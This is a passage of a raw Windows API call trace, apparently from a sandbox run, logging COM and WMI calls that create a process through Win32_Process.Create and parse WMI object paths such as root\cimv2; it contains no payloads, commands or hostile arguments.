[0075.888] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f9e0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0075.888] IWbemServices:ExecMethod (in: This=0x1bf8b7a0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf6b490, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf6b740, ppCallResult=0x0) returned 0x0 [0076.357] IWbemClassObject:Get (in: This=0x1bf6b740, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a330b0*=0, plFlavor=0x2a330b4*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc8, varVal2=0x0), pType=0x2a330b0*=19, plFlavor=0x2a330b4*=0) returned 0x0 [0076.358] IWbemClassObject:Get (in: This=0x1bf6b740, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a330b0*=19, plFlavor=0x2a330b4*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc8, varVal2=0x0), pType=0x2a330b0*=19, plFlavor=0x2a330b4*=0) returned 0x0 [0076.359] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0076.359] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0076.359] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0076.359] IUnknown:Release (This=0x111f638) returned 0x1 [0076.361] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x117f100) returned 0x0 [0076.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x117f100, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0076.361] WbemDefPath:IClassFactory:CreateInstance (in: This=0x117f100, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1168f00) returned 0x0 [0076.362] WbemDefPath:IUnknown:Release (This=0x117f100) returned 0x0 [0076.362] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168f00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1168f00) returned 0x0 [0076.362] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168f00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0076.362] WbemDefPath:IUnknown:AddRef (This=0x1168f00) returned 0x3 [0076.362] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168f00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0076.362] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168f00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0076.362] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168f00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x117f160) returned 0x0 [0076.362] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x117f160, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0076.362] WbemDefPath:IUnknown:Release (This=0x117f160) returned 0x3 [0076.362] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0076.362] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0076.363] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168f00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0076.363] WbemDefPath:IUnknown:Release (This=0x1168f00) returned 0x2 [0076.363] WbemDefPath:IUnknown:Release (This=0x1168f00) returned 0x1 [0076.363] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0076.363] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0076.363] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168f00, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1168f00) returned 0x0 [0076.363] WbemDefPath:IUnknown:AddRef (This=0x1168f00) returned 0x3 [0076.363] WbemDefPath:IUnknown:Release (This=0x1168f00) returned 0x2 [0076.363] WbemDefPath:IWbemPath:SetText (This=0x1168f00, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0076.363] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1168f00, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0076.363] WbemDefPath:IWbemPath:GetText (in: This=0x1168f00, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0076.363] WbemDefPath:IWbemPath:GetText (in: This=0x1168f00, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0076.363] WbemDefPath:IWbemPath:GetInfo (in: This=0x1168f00, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0076.363] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1168f00, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0076.363] WbemDefPath:IWbemPath:GetInfo (in: This=0x1168f00, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0076.363] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0076.364] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0076.364] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0076.364] IUnknown:Release (This=0x111f638) returned 0x1 [0076.366] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x117f180) returned 0x0 [0076.366] WbemDefPath:IUnknown:QueryInterface (in: This=0x117f180, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0076.366] WbemDefPath:IClassFactory:CreateInstance (in: This=0x117f180, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf6fe60) returned 0x0 [0076.366] WbemDefPath:IUnknown:Release (This=0x117f180) returned 0x0 [0076.366] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fe60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf6fe60) returned 0x0 [0076.366] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fe60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0076.367] WbemDefPath:IUnknown:AddRef (This=0x1bf6fe60) returned 0x3 [0076.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fe60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0076.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fe60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0076.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fe60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf782d0) returned 0x0 [0076.367] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf782d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0076.367] WbemDefPath:IUnknown:Release (This=0x1bf782d0) returned 0x3 [0076.367] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0076.367] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0076.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fe60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0076.367] WbemDefPath:IUnknown:Release (This=0x1bf6fe60) returned 0x2 [0076.367] WbemDefPath:IUnknown:Release (This=0x1bf6fe60) returned 0x1 [0076.367] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0076.367] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0076.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fe60, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf6fe60) returned 0x0 [0076.367] WbemDefPath:IUnknown:AddRef (This=0x1bf6fe60) returned 0x3 [0076.367] WbemDefPath:IUnknown:Release (This=0x1bf6fe60) returned 0x2 [0076.367] WbemDefPath:IWbemPath:SetText (This=0x1bf6fe60, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0076.367] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6fe60, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0076.367] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fe60, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0076.368] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fe60, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0076.368] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6fe60, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0076.368] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6fe60, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0076.368] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6fe60, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0076.368] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6fe60, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0076.368] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0076.368] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0076.368] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0076.368] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0076.368] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0076.368] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0076.368] IUnknown:Release (This=0x111f638) returned 0x1 [0076.370] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bf78310) returned 0x0 [0076.370] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf78310, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0076.370] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf78310, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bf6ff20) returned 0x0 [0076.370] WbemDefPath:IUnknown:Release (This=0x1bf78310) returned 0x0 [0076.370] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ff20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bf6ff20) returned 0x0 [0076.371] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ff20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0076.371] WbemDefPath:IUnknown:AddRef (This=0x1bf6ff20) returned 0x3 [0076.371] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ff20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0076.371] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ff20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0076.371] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ff20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bf78350) returned 0x0 [0076.371] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf78350, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0076.371] WbemDefPath:IUnknown:Release (This=0x1bf78350) returned 0x3 [0076.371] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0076.371] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0076.371] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ff20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0076.371] WbemDefPath:IUnknown:Release (This=0x1bf6ff20) returned 0x2 [0076.371] WbemDefPath:IUnknown:Release (This=0x1bf6ff20) returned 0x1 [0076.371] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0076.372] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0076.372] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ff20, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bf6ff20) returned 0x0 [0076.372] WbemDefPath:IUnknown:AddRef (This=0x1bf6ff20) returned 0x3 [0076.372] WbemDefPath:IUnknown:Release (This=0x1bf6ff20) returned 0x2 [0076.372] WbemDefPath:IWbemPath:SetText (This=0x1bf6ff20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0076.372] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ff20, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0076.372] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ff20, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0076.372] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ff20, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0076.372] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0076.372] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0076.372] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0076.372] IUnknown:Release (This=0x111f638) returned 0x1 [0076.373] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bfa7070) returned 0x0 [0076.373] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7070, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0076.373] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bfa7070, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bfa7090) returned 0x0 [0076.373] WbemLocator:IUnknown:Release (This=0x1bfa7070) returned 0x0 [0076.373] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7090, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bfa7090) returned 0x0 [0076.374] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7090, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0076.374] 